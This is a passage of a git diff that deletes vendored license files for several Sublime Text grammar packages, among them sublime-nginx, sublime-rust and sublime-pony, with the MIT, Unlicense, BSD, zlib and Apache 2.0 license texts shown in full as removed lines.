@@ -1,25 +0,0 @@
----
-type: grammar
-name: sublime-bsv
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Paulo Matias
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-cirru.txt b/vendor/licenses/grammar/sublime-cirru.txt
deleted file mode 100644
index 41e5b98b11..0000000000
--- a/vendor/licenses/grammar/sublime-cirru.txt
+++ /dev/null
@@ -1,24 +0,0 @@
----
-type: grammar
-name: sublime-cirru
-license: mit
----
-The MIT License (MIT)
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-clips.txt b/vendor/licenses/grammar/sublime-clips.txt
deleted file mode 100644
index 77b0d1d4ba..0000000000
--- a/vendor/licenses/grammar/sublime-clips.txt
+++ /dev/null
@@ -1,13 +0,0 @@
----
-type: grammar
-name: sublime-clips
-license: mit
----
-The MIT License (MIT)
-Copyright (c) 2016 Roberto "Psicomante" Pesando - https://github.com/psicomante/CLIPS-sublime
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-glsl.txt b/vendor/licenses/grammar/sublime-glsl.txt
deleted file mode 100644
index 9cdd283304..0000000000
--- a/vendor/licenses/grammar/sublime-glsl.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: sublime-glsl
-license: unlicense
----
-This is free and unencumbered software released into the public domain.
-
-Anyone is free to copy, modify, publish, use, compile, sell, or
-distribute this software, either in source code form or as a compiled
-binary, for any purpose, commercial or non-commercial, and by any
-means.
-
-In jurisdictions that recognize copyright laws, the author or authors
-of this software dedicate any and all copyright interest in the
-software to the public domain. We make this dedication for the benefit
-of the public at large and to the detriment of our heirs and
-successors. We intend this dedication to be an overt act of
-relinquishment in perpetuity of all present and future rights to this
-software under copyright law.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
-
-For more information, please refer to <http://unlicense.org/>
diff --git a/vendor/licenses/grammar/sublime-golo.txt b/vendor/licenses/grammar/sublime-golo.txt
deleted file mode 100644
index 04af5128db..0000000000
--- a/vendor/licenses/grammar/sublime-golo.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: sublime-golo
-license: mit
----
-The MIT License (MIT)
-
-Copyright 2014-2015, Philippe Charrière
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-mask.txt b/vendor/licenses/grammar/sublime-mask.txt
deleted file mode 100644
index 1a8cfaaf28..0000000000
--- a/vendor/licenses/grammar/sublime-mask.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: sublime-mask
-license: mit
----
-MIT LICENSE
-
-Copyright (c) 2014 Alex Kit
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-netlinx.txt b/vendor/licenses/grammar/sublime-netlinx.txt
deleted file mode 100644
index 65a4a3128b..0000000000
--- a/vendor/licenses/grammar/sublime-netlinx.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: sublime-netlinx
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013-2015 Alex McLain
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/sublime-nginx.txt b/vendor/licenses/grammar/sublime-nginx.txt
deleted file mode 100644
index 981df4a1fc..0000000000
--- a/vendor/licenses/grammar/sublime-nginx.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: sublime-nginx
-license: mit
----
-The MIT License (MIT)
-=====================
-
-The MIT License (MIT)
-
-Copyright (c) 2014 Brandon Wamboldt
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-opal.txt b/vendor/licenses/grammar/sublime-opal.txt
deleted file mode 100644
index 4939a156fa..0000000000
--- a/vendor/licenses/grammar/sublime-opal.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: sublime-opal
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 artifactz
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-pony.txt b/vendor/licenses/grammar/sublime-pony.txt
deleted file mode 100644
index 1eda456063..0000000000
--- a/vendor/licenses/grammar/sublime-pony.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: sublime-pony
-license: bsd-2-clause
----
-Copyright (c) 2014-2015, Causality Ltd.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice, this
-   list of conditions and the following disclaimer.
-2. Redistributions in binary form must reproduce the above copyright notice,
-   this list of conditions and the following disclaimer in the documentation
-   and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
-ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/sublime-robot-plugin.txt b/vendor/licenses/grammar/sublime-robot-plugin.txt
deleted file mode 100644
index a622f5c489..0000000000
--- a/vendor/licenses/grammar/sublime-robot-plugin.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: sublime-robot-plugin
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Mike Gershunovsky
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/sublime-rust.txt b/vendor/licenses/grammar/sublime-rust.txt
deleted file mode 100644
index 423d7ce3b3..0000000000
--- a/vendor/licenses/grammar/sublime-rust.txt
+++ /dev/null
@@ -1,22 +0,0 @@
----
-type: grammar
-name: sublime-rust
-license: mit
----
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/sublime-spintools.txt b/vendor/licenses/grammar/sublime-spintools.txt
deleted file mode 100644
index 0ece2c8cf7..0000000000
--- a/vendor/licenses/grammar/sublime-spintools.txt
+++ /dev/null
@@ -1,20 +0,0 @@
----
-type: grammar
-name: sublime-spintools
-license: zlib
-curated: true
----
-
-sublimed-spintools is licensed under the zlib license:
-
-Copyright (c) 2013 Brant Wedel
-
-This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software.
-
-Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
-
-The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
-
-Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
-
-This notice may not be removed or altered from any source distribution.
diff --git a/vendor/licenses/grammar/sublime-tea.txt b/vendor/licenses/grammar/sublime-tea.txt
deleted file mode 100644
index 5e12691b22..0000000000
--- a/vendor/licenses/grammar/sublime-tea.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: sublime-tea
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
